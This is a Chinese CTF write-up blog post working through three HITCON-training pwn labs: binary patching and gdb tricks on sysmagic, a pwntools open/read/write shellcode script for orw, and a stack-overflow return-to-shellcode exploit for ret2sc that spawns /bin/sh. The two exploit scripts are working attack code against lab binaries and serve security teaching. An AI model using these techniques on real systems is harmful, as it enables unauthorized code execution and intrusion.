Pwn-10月23-Hitcon(一)

本文深入解析Hitcon CTF中Pwn挑战的三道题解,涵盖sysmagic、orw及ret2sc,详述利用patch、gdb、shellcode及ROPchain技巧,展示如何绕过安全保护,构造并执行恶意代码获取flag。
摘要由CSDN通过智能技术生成

欢迎前往个人主页享受更为优质的体验。

Pwn-10月23-Hitcon(一)

继续二进制修炼,今天开始肝Hiton-training,膜着m4x,以及另一位大佬23R3F的题解蹒跚前行。

lab1-sysmagic

貌似第一题会比较简单,先用IDA-Pro静态分析一下:

5bcf0b64c261c.png

貌似直接得到了一个能够输出flag的函数?由于这是个elf32位可执行文件所以我们需要在linux下面执行:

5bcf0332abc98.png

可以很简单就看懂逻辑,输入一个值,然后比较如果相等,得出flag。

解法1 - patch

IDA Pro -- keypatch,使用keypatch插件来修改汇编代码,我们可以直接将关键的一步nop掉或者改成完全相反的操作。

5bcf05f6b8d06.png

例如将.text:08048722的跳转汇编指令改为jmp无条件跳转,或者是与jnz相反的jz操作。

5bcf075963ea4.png

5bcf07b5548dc.png

修改为无条件跳转后需要将其保存到对应文件中:
5bcf07f4c58d9.png

然后去把文件挪到linux上运行试试发现并没有用,因为改为jmp后其函数直接少了一部分对flag的操作:

5bcf0a2f45481.png

所以我们只能将原样本中的jnz改为jz了,改完之后函数已经成为不等则输出flag了:

5bcf0bd4dce1d.png

运行效果:

5bcf0c1461b1f.png

解法2 - gdb set register value

通过gdb动态调试,并且在即将进行比较前,将 eax置为与edx相同的值即可:

5bcf0e78806d2.png

然后即可得到flag。

lab2-orw

检查保护措施

checksec orw.bin,题目orw的意思是open,read,write这三个函数。

5bcf0fca60256.png

emmm这是我做的第一个开启了Stack保护的题目呢。

逻辑分析

简单跑一下可以看到直接是让你输入shellcode:
5bcf104eea350.png

放IDA pro里面看看:

5bcf15e2dd0aa.png

细看一下orw_seccomp()函数:

5bcf16ed762fb.png

prctl函数又是啥玩意儿?Prctl(用户和内核沟通的一个绝佳函数),这个函数可以对进程进行一些设置。而有一道强网杯题目就好像用了这玩意儿的技术?

输入shellcode之后应该会执行,所以这题的目的是让我们自己构造shellcode去读取flag?既然要构造shellcode,那就需要用到pwntools的asm模块和shellcraft模块:

asm模块是将操作转换为汇编命令,而shellcraft是具有各种函数对应汇编命令的一个模块,十分好用:

5bcf1996469a4.png

pwntools中的context模块又是用来干嘛的呢?

context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

例如context(os='linux', arch='amd64', log_level='debug')

这句话的意思是:

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
  3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

exp

根据题意和题解?(正处于涨姿势的时候)写出exp:


#!/usr/bin/env python
#coding:utf-8

from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"

shellcode = sc.pushstr("/home/xiaoyifeng/ctf/pwn/Hiton/lab2/flag")
shellcode += sc.open("esp")
#  open返回的文件文件描述符存贮在eax寄存器里 
shellcode += sc.read("eax", "esp", 0x100)
#  open读取的内容放在栈顶 
#  write函数在栈顶读取0x100大小的内容并打印出来
shellcode += sc.write(1, "esp", 0x100)

io = process("./orw.bin")
#print(asm(shellcode))
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()

运行效果:

5bcf2cbec3db2.png

lab3-ret2sc

题目名是return to shellcode的简写,应该是利用return返回然后执行shellcode之类的操作?

检查保护措施

checksec ret2sc

5bcf21774fa88.png

emmm没有开启啥保护,没有开启栈溢出检测,也没有开启栈不可执行(NX)。

逻辑分析

跑一下发现让我们输入字符串到Name里面,还有一个try your best?首先想到的是会不会又是啥栈溢出什么的。

5bcf212fdd23f.png

嗯,情况是有的:

5bcf22016964b.png

通过gdb动态调试可以发现在输入try your best 的值的时候可以发生溢出,并且将EIP指向我们构造的位置:

5bcf25189cf77.png

而这个临界值我们可以通过pattern search来查我们构造的pattern偏移量,得到为32。根据大佬的题解了解到return to shellcode是一种题型,我甚至想到了又用ROP chain???黑人问号.jpg?。

原来return to shellcode的操作就是将shellcode写入name变量空间,然后通过返回到该地址从而执行shellcode(NX未开启,栈可执行)

5bcf2a86e5630.png

该变量地址为0x804A060

构造EXP

这个exp需要用到shellcraft和asm,来将shellcode转为汇编指令:

#!/usr/bin/env python
#coding:utf-8

from pwn import *
context(os = "linux", arch = "i386",log_level="debug")

io = process("./ret2sc")

#获得sh的命令多种多样,并且有不同系统版本的sh
#shellcode = asm(shellcraft.execve("/bin/sh"))
shellcode = asm(shellcraft.i386.linux.sh())
io.sendlineafter(":", shellcode)

#flat模块能将pattern字符串和地址结合并且转为字节模式
payload = flat(cyclic(32), 0x804a060)
io.sendlineafter(":", payload)

io.interactive()
io.close()

运行效果:

5bcf2c13d7442.png

小结

内容涉及 context 模式设置,asm模块,shellcraft模块,patch操作,return to shellcode题型,pwntools flat模块。

今天先混到这儿。。。我真菜?。

转载于:https://www.cnblogs.com/yof3ng/p/9840165.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值